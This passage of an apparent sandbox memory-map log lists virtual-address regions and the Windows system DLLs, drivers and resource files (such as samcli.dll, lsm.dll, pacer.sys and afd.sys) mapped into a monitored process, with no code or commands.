8755 start_va = 0x1af10000 end_va = 0x1af1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af10000" filename = "" Region: id = 8756 start_va = 0x1af20000 end_va = 0x1af2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af20000" filename = "" Region: id = 8757 start_va = 0x1afb0000 end_va = 0x1afbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001afb0000" filename = "" Region: id = 8758 start_va = 0x1afb0000 end_va = 0x1afbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001afb0000" filename = "" Region: id = 8759 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8760 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8761 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 8762 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 8763 start_va = 0x1ba40000 end_va = 0x1ba4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba40000" filename = "" Region: id = 8764 start_va = 0x1ba50000 end_va = 0x1ba5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba50000" filename = "" Region: id = 8765 start_va = 0x1ba60000 end_va = 0x1ba6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba60000" filename = "" Region: id = 8766 start_va = 0x1ba70000 end_va = 0x1ba7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba70000" filename = "" Region: id = 8767 start_va = 0x1ba80000 end_va = 0x1ba8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba80000" filename = "" Region: id = 8768 start_va = 0x1ba90000 end_va = 0x1ba9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba90000" filename = "" Region: id = 8769 start_va = 0x1aed0000 end_va = 0x1aedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aed0000" filename = "" Region: id = 8770 start_va = 0x7ffaa2f10000 end_va = 0x7ffaa2f1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2f10000" filename = "" Region: id = 8771 start_va = 0x1aed0000 end_va = 0x1aedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aed0000" filename = "" Region: id = 8772 start_va = 0x1af10000 end_va = 0x1af1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af10000" filename = "" Region: id = 8773 start_va = 0x1af20000 end_va = 0x1af2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af20000" filename = "" Region: id = 8774 start_va = 0x1aed0000 end_va = 0x1aedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aed0000" filename = "" Region: id = 8775 start_va = 0x1af10000 end_va = 0x1af1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af10000" filename = "" Region: id = 8776 start_va = 0x1af20000 end_va = 0x1af2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af20000" filename = "" Region: id = 8777 start_va = 0x1ba60000 end_va = 0x1ba7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba60000" filename = "" Region: id = 8778 start_va = 0x1ba80000 end_va = 0x1ba9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba80000" filename = "" Region: id = 8779 start_va = 0x1dba0000 end_va = 0x1dbcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dba0000" filename = "" Region: id = 8780 start_va = 0x1afb0000 end_va = 0x1afbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001afb0000" filename = "" Region: id = 8781 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8782 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8783 start_va = 0x1baa0000 end_va = 0x1baaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001baa0000" filename = "" Region: id = 8784 start_va = 0x1baf0000 end_va = 0x1bafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001baf0000" filename = "" Region: id = 8785 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 8786 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 8787 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 8788 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 8789 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 8790 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 8791 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 8792 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 8793 start_va = 0x1dbd0000 end_va = 0x1dbdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dbd0000" filename = "" Region: id = 8794 start_va = 0x1dbe0000 end_va = 0x1dbeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dbe0000" filename = "" Region: id = 8795 start_va = 0x1dbf0000 end_va = 0x1dbfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dbf0000" filename = "" Region: id = 8796 start_va = 0x1afb0000 end_va = 0x1afbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001afb0000" filename = "" Region: id = 8797 start_va = 0x1afb0000 end_va = 0x1afbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001afb0000" filename = "" Region: id = 8798 start_va = 0x1afb0000 end_va = 0x1afbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001afb0000" filename = "" Region: id = 8799 start_va = 0x1afb0000 end_va = 0x1afbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001afb0000" filename = "" Region: id = 8800 start_va = 0x1aec0000 end_va = 0x1aecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aec0000" filename = "" Region: id = 8801 start_va = 0x1aed0000 end_va = 0x1aedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aed0000" filename = "" Region: id = 8802 start_va = 0x1aee0000 end_va = 0x1aeeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aee0000" filename = "" Region: id = 8803 start_va = 0x1aee0000 end_va = 0x1aeeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aee0000" filename = "" Region: id = 8804 start_va = 0x1aee0000 end_va = 0x1aeeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aee0000" filename = "" Region: id = 8805 start_va = 0x1aee0000 end_va = 0x1aeeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aee0000" filename = "" Region: id = 8806 start_va = 0x1aef0000 end_va = 0x1aefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aef0000" filename = "" Region: id = 8807 start_va = 0x1aee0000 end_va = 0x1aeeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aee0000" filename = "" Region: id = 8808 start_va = 0x1aec0000 end_va = 0x1aecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aec0000" filename = "" Region: id = 8809 start_va = 0x1aec0000 end_va = 0x1aecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aec0000" filename = "" Region: id = 8810 start_va = 0x1aec0000 end_va = 0x1aecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aec0000" filename = "" Region: id = 8811 start_va = 0x1aec0000 end_va = 0x1aecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aec0000" filename = "" Region: id = 8812 start_va = 0x1aed0000 end_va = 0x1aedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aed0000" filename = "" Region: id = 8813 start_va = 0x1aee0000 end_va = 0x1aeeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aee0000" filename = "" Region: id = 8814 start_va = 0x1aee0000 end_va = 0x1aeeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aee0000" filename = "" Region: id = 8815 start_va = 0x1aee0000 end_va = 0x1aeeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aee0000" filename = "" Region: id = 8816 start_va = 0x1aee0000 end_va = 0x1aeeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aee0000" filename = "" Region: id = 8817 start_va = 0x1aef0000 end_va = 0x1aefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aef0000" filename = "" Region: id = 8818 start_va = 0x1aef0000 end_va = 0x1aefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aef0000" filename = "" Region: id = 8819 start_va = 0x1af00000 end_va = 0x1af0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af00000" filename = "" Region: id = 8820 start_va = 0x1af10000 end_va = 0x1af1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af10000" filename = "" Region: id = 8821 start_va = 0x1aec0000 end_va = 0x1aecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aec0000" filename = "" Region: id = 8822 start_va = 0x1aec0000 end_va = 0x1aecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aec0000" filename = "" Region: id = 8823 start_va = 0x1aec0000 end_va = 0x1aecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aec0000" filename = "" Region: id = 8824 start_va = 0x1aec0000 end_va = 0x1aecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aec0000" filename = "" Region: id = 8825 start_va = 0x1aed0000 end_va = 0x1aedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aed0000" filename = "" Region: id = 8826 start_va = 0x1aee0000 end_va = 0x1aeeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aee0000" filename = "" Region: id = 8828 start_va = 0x1aef0000 end_va = 0x1aefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aef0000" filename = "" Region: id = 8829 start_va = 0x1af00000 end_va = 0x1af0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af00000" filename = "" Region: id = 8830 start_va = 0x1af10000 end_va = 0x1af1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af10000" filename = "" Region: id = 8831 start_va = 0x1af20000 end_va = 0x1af2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af20000" filename = "" Region: id = 8832 start_va = 0x1aec0000 end_va = 0x1aecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aec0000" filename = "" Region: id = 8833 start_va = 0x1aec0000 end_va = 0x1aecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aec0000" filename = "" Region: id = 8834 start_va = 0x1aec0000 end_va = 0x1aecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aec0000" filename = "" Region: id = 8835 start_va = 0x1aec0000 end_va = 0x1aecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aec0000" filename = "" Region: id = 8840 start_va = 0x7ffb15a40000 end_va = 0x7ffb15a49fff monitored = 0 entry_point = 0x7ffb15a431a0 region_type = mapped_file name = "rasctrs.dll" filename = "\\Windows\\System32\\rasctrs.dll" (normalized: "c:\\windows\\system32\\rasctrs.dll") Region: id = 8841 start_va = 0x1ebf0000 end_va = 0x1eceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ebf0000" filename = "" Region: id = 8842 start_va = 0x7ffb0ace0000 end_va = 0x7ffb0ad63fff monitored = 0 entry_point = 0x7ffb0acf2830 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv") Region: id = 8843 start_va = 0x7ffb15a30000 end_va = 0x7ffb15a37fff monitored = 0 entry_point = 0x7ffb15a318a0 region_type = mapped_file name = "tapiperf.dll" filename = "\\Windows\\System32\\tapiperf.dll" (normalized: "c:\\windows\\system32\\tapiperf.dll") Region: id = 8844 start_va = 0x7ffb15a10000 end_va = 0x7ffb15a20fff monitored = 0 entry_point = 0x7ffb15a15840 region_type = mapped_file name = "perfctrs.dll" filename = "\\Windows\\System32\\perfctrs.dll" (normalized: "c:\\windows\\system32\\perfctrs.dll") Region: id = 8845 start_va = 0x7ffb09d10000 end_va = 0x7ffb09d17fff monitored = 0 entry_point = 0x7ffb09d12420 region_type = mapped_file name = "perfts.dll" filename = "\\Windows\\System32\\perfts.dll" (normalized: "c:\\windows\\system32\\perfts.dll") Region: id = 8846 start_va = 0x7ffb1c5e0000 end_va = 0x7ffb1c635fff monitored = 0 entry_point = 0x7ffb1c5f0bf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 8847 start_va = 0x7ffb055b0000 end_va = 0x7ffb055c7fff monitored = 0 entry_point = 0x7ffb055b1630 region_type = mapped_file name = "utildll.dll" filename = "\\Windows\\System32\\utildll.dll" (normalized: "c:\\windows\\system32\\utildll.dll") Region: id = 8848 start_va = 0x7ffb1de80000 end_va = 0x7ffb1e2a8fff monitored = 0 entry_point = 0x7ffb1dea8740 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 8849 start_va = 0x7ffb101e0000 end_va = 0x7ffb10205fff monitored = 0 entry_point = 0x7ffb101e1cf0 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 8850 start_va = 0x7ffb15e70000 end_va = 0x7ffb15e88fff monitored = 0 entry_point = 0x7ffb15e74520 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 8851 start_va = 0x7ffb18c90000 end_va = 0x7ffb18ccdfff monitored = 0 entry_point = 0x7ffb18c9a050 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 8852 start_va = 0x7ffb09500000 end_va = 0x7ffb09507fff monitored = 0 entry_point = 0x7ffb09501e20 region_type = mapped_file name = "usbperf.dll" filename = "\\Windows\\System32\\usbperf.dll" (normalized: "c:\\windows\\system32\\usbperf.dll") Region: id = 8853 start_va = 0x7ffb05580000 end_va = 0x7ffb055a5fff monitored = 0 entry_point = 0x7ffb05590d80 region_type = mapped_file name = "wmiaprpl.dll" filename = "\\Windows\\System32\\wbem\\WmiApRpl.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiaprpl.dll") Region: id = 8854 start_va = 0x7ffb05550000 end_va = 0x7ffb05574fff monitored = 0 entry_point = 0x7ffb0555b320 region_type = mapped_file name = "loadperf.dll" filename = "\\Windows\\System32\\loadperf.dll" (normalized: "c:\\windows\\system32\\loadperf.dll") Region: id = 8858 start_va = 0x1aec0000 end_va = 0x1aec0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001aec0000" filename = "" Region: id = 8865 start_va = 0x7ffafbe00000 end_va = 0x7ffafc16efff monitored = 0 entry_point = 0x7ffafbf01610 region_type = mapped_file name = "tquery.dll" filename = "\\Windows\\System32\\tquery.dll" (normalized: "c:\\windows\\system32\\tquery.dll") Region: id = 8866 start_va = 0x1aed0000 end_va = 0x1aee5fff monitored = 0 entry_point = 0x1aee0420 region_type = mapped_file name = "synth3dvsc.sys" filename = "\\Windows\\System32\\drivers\\Synth3dVsc.sys" (normalized: "c:\\windows\\system32\\drivers\\synth3dvsc.sys") Region: id = 8867 start_va = 0x1aef0000 end_va = 0x1aef2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "synth3dvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\synth3dvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\synth3dvsc.sys.mui") Region: id = 8868 start_va = 0x1aed0000 end_va = 0x1aee5fff monitored = 0 entry_point = 0x1aee0420 region_type = mapped_file name = "synth3dvsc.sys" filename = "\\Windows\\System32\\drivers\\Synth3dVsc.sys" (normalized: "c:\\windows\\system32\\drivers\\synth3dvsc.sys") Region: id = 8869 start_va = 0x1aef0000 end_va = 0x1aef2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "synth3dvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\synth3dvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\synth3dvsc.sys.mui") Region: id = 8870 start_va = 0x1aed0000 end_va = 0x1aee5fff monitored = 0 entry_point = 0x1aee0420 region_type = mapped_file name = "synth3dvsc.sys" filename = "\\Windows\\System32\\drivers\\Synth3dVsc.sys" (normalized: "c:\\windows\\system32\\drivers\\synth3dvsc.sys") Region: id = 8871 start_va = 0x1aef0000 end_va = 0x1aef2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "synth3dvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\synth3dvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\synth3dvsc.sys.mui") Region: id = 8872 start_va = 0x1aed0000 end_va = 0x1aee5fff monitored = 0 entry_point = 0x1aee0420 region_type = mapped_file name = "synth3dvsc.sys" filename = "\\Windows\\System32\\drivers\\Synth3dVsc.sys" (normalized: "c:\\windows\\system32\\drivers\\synth3dvsc.sys") Region: id = 8873 start_va = 0x1aef0000 end_va = 0x1aef2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "synth3dvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\synth3dvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\synth3dvsc.sys.mui") Region: id = 8874 start_va = 0x1aed0000 end_va = 0x1aee9fff monitored = 1 entry_point = 0x1aed1190 region_type = mapped_file name = "workflowservicehostperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WorkflowServiceHostPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\workflowservicehostperformancecounters.dll") Region: id = 8875 start_va = 0x1aef0000 end_va = 0x1aef5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "workflowservicehostperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\WorkflowServiceHostPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\workflowservicehostperformancecounters.dll.mui") Region: id = 8876 start_va = 0x1aed0000 end_va = 0x1aee9fff monitored = 1 entry_point = 0x1aed1190 region_type = mapped_file name = "workflowservicehostperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WorkflowServiceHostPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\workflowservicehostperformancecounters.dll") Region: id = 8877 start_va = 0x1aef0000 end_va = 0x1aef5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "workflowservicehostperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\WorkflowServiceHostPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\workflowservicehostperformancecounters.dll.mui") Region: id = 8878 start_va = 0x1aed0000 end_va = 0x1af8bfff monitored = 0 entry_point = 0x1af0c480 region_type = mapped_file name = "lsm.dll" filename = "\\Windows\\System32\\lsm.dll" (normalized: "c:\\windows\\system32\\lsm.dll") Region: id = 8879 start_va = 0x1af90000 end_va = 0x1af92fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsm.dll.mui" filename = "\\Windows\\System32\\en-US\\lsm.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\lsm.dll.mui") Region: id = 8880 start_va = 0x1aed0000 end_va = 0x1af8bfff monitored = 0 entry_point = 0x1af0c480 region_type = mapped_file name = "lsm.dll" filename = "\\Windows\\System32\\lsm.dll" (normalized: "c:\\windows\\system32\\lsm.dll") Region: id = 8881 start_va = 0x1af90000 end_va = 0x1af92fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsm.dll.mui" filename = "\\Windows\\System32\\en-US\\lsm.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\lsm.dll.mui") Region: id = 8882 start_va = 0x1aed0000 end_va = 0x1aefafff monitored = 0 entry_point = 0x1aeed000 region_type = mapped_file name = "pacer.sys" filename = "\\Windows\\System32\\drivers\\pacer.sys" (normalized: "c:\\windows\\system32\\drivers\\pacer.sys") Region: id = 8883 start_va = 0x1af00000 end_va = 0x1af04fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pacer.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\pacer.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\pacer.sys.mui") Region: id = 8884 start_va = 0x1aed0000 end_va = 0x1aefafff monitored = 0 entry_point = 0x1aeed000 region_type = mapped_file name = "pacer.sys" filename = "\\Windows\\System32\\drivers\\pacer.sys" (normalized: "c:\\windows\\system32\\drivers\\pacer.sys") Region: id = 8885 start_va = 0x1af00000 end_va = 0x1af04fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pacer.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\pacer.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\pacer.sys.mui") Region: id = 8886 start_va = 0x1aed0000 end_va = 0x1aefafff monitored = 0 entry_point = 0x1aeed000 region_type = mapped_file name = "pacer.sys" filename = "\\Windows\\System32\\drivers\\pacer.sys" (normalized: "c:\\windows\\system32\\drivers\\pacer.sys") Region: id = 8887 start_va = 0x1af00000 end_va = 0x1af04fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pacer.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\pacer.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\pacer.sys.mui") Region: id = 8888 start_va = 0x1aed0000 end_va = 0x1aefafff monitored = 0 entry_point = 0x1aeed000 region_type = mapped_file name = "pacer.sys" filename = "\\Windows\\System32\\drivers\\pacer.sys" (normalized: "c:\\windows\\system32\\drivers\\pacer.sys") Region: id = 8889 start_va = 0x1af00000 end_va = 0x1af04fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pacer.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\pacer.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\pacer.sys.mui") Region: id = 8890 start_va = 0x1aed0000 end_va = 0x1aeecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 8891 start_va = 0x1aef0000 end_va = 0x1af49fff monitored = 0 entry_point = 0x1af35b00 region_type = mapped_file name = "pnrpsvc.dll" filename = "\\Windows\\System32\\pnrpsvc.dll" (normalized: "c:\\windows\\system32\\pnrpsvc.dll") Region: id = 8892 start_va = 0x1af50000 end_va = 0x1af53fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pnrpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\pnrpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\pnrpsvc.dll.mui") Region: id = 8893 start_va = 0x1aef0000 end_va = 0x1af49fff monitored = 0 entry_point = 0x1af35b00 region_type = mapped_file name = "pnrpsvc.dll" filename = "\\Windows\\System32\\pnrpsvc.dll" (normalized: "c:\\windows\\system32\\pnrpsvc.dll") Region: id = 8894 start_va = 0x1af50000 end_va = 0x1af53fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pnrpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\pnrpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\pnrpsvc.dll.mui") Region: id = 8895 start_va = 0x1aef0000 end_va = 0x1afd1fff monitored = 0 entry_point = 0x1af4d100 region_type = mapped_file name = "azroles.dll" filename = "\\Windows\\System32\\azroles.dll" (normalized: "c:\\windows\\system32\\azroles.dll") Region: id = 8896 start_va = 0x1afe0000 end_va = 0x1afe0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "azroles.dll.mui" filename = "\\Windows\\System32\\en-US\\azroles.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\azroles.dll.mui") Region: id = 8897 start_va = 0x1aef0000 end_va = 0x1afd1fff monitored = 0 entry_point = 0x1af4d100 region_type = mapped_file name = "azroles.dll" filename = "\\Windows\\System32\\azroles.dll" (normalized: "c:\\windows\\system32\\azroles.dll") Region: id = 8898 start_va = 0x1afe0000 end_va = 0x1afe0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "azroles.dll.mui" filename = "\\Windows\\System32\\en-US\\azroles.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\azroles.dll.mui") Region: id = 8899 start_va = 0x1aef0000 end_va = 0x1afd3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fxsresm.dll" filename = "\\Windows\\System32\\FXSRESM.dll" (normalized: "c:\\windows\\system32\\fxsresm.dll") Region: id = 8900 start_va = 0x1afe0000 end_va = 0x1b008fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fxsresm.dll.mui" filename = "\\Windows\\System32\\en-US\\FXSRESM.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fxsresm.dll.mui") Region: id = 8901 start_va = 0x1aef0000 end_va = 0x1afd3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fxsresm.dll" filename = "\\Windows\\System32\\FXSRESM.dll" (normalized: "c:\\windows\\system32\\fxsresm.dll") Region: id = 8902 start_va = 0x1afe0000 end_va = 0x1b008fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fxsresm.dll.mui" filename = "\\Windows\\System32\\en-US\\FXSRESM.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fxsresm.dll.mui") Region: id = 8903 start_va = 0x1aef0000 end_va = 0x1af82fff monitored = 0 entry_point = 0x1af69000 region_type = mapped_file name = "afd.sys" filename = "\\Windows\\System32\\drivers\\afd.sys" (normalized: "c:\\windows\\system32\\drivers\\afd.sys") Region: id = 8904 start_va = 0x1af90000 end_va = 0x1af95fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "afd.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\afd.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\afd.sys.mui") Region: id = 8905 start_va = 0x1aef0000 end_va = 0x1af82fff monitored = 0 entry_point = 0x1af69000 region_type = mapped_file name = "afd.sys" filename = "\\Windows\\System32\\drivers\\afd.sys" (normalized: "c:\\windows\\system32\\drivers\\afd.sys") Region: id = 8906 start_va = 0x1af90000 end_va = 0x1af95fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "afd.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\afd.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\afd.sys.mui") Region: id = 8907 start_va = 0x1aef0000 end_va = 0x1af90fff monitored = 0 entry_point = 0x1af83000 region_type = mapped_file name = "fvevol.sys" filename = "\\Windows\\System32\\drivers\\fvevol.sys" (normalized: "c:\\windows\\system32\\drivers\\fvevol.sys") Region: id = 8908 start_va = 0x1afa0000 end_va = 0x1afa5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fvevol.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\fvevol.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\fvevol.sys.mui") Region: id = 8909 start_va = 0x1aef0000 end_va = 0x1af90fff monitored = 0 entry_point = 0x1af83000 region_type = mapped_file name = "fvevol.sys" filename = "\\Windows\\System32\\drivers\\fvevol.sys" (normalized: "c:\\windows\\system32\\drivers\\fvevol.sys") Region: id = 8910 start_va = 0x1afa0000 end_va = 0x1afa5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fvevol.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\fvevol.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\fvevol.sys.mui") Region: id = 8911 start_va = 0x1aef0000 end_va = 0x1af75fff monitored = 0 entry_point = 0x1af61000 region_type = mapped_file name = "spaceport.sys" filename = "\\Windows\\System32\\drivers\\spaceport.sys" (normalized: "c:\\windows\\system32\\drivers\\spaceport.sys") Region: id = 8912 start_va = 0x1af80000 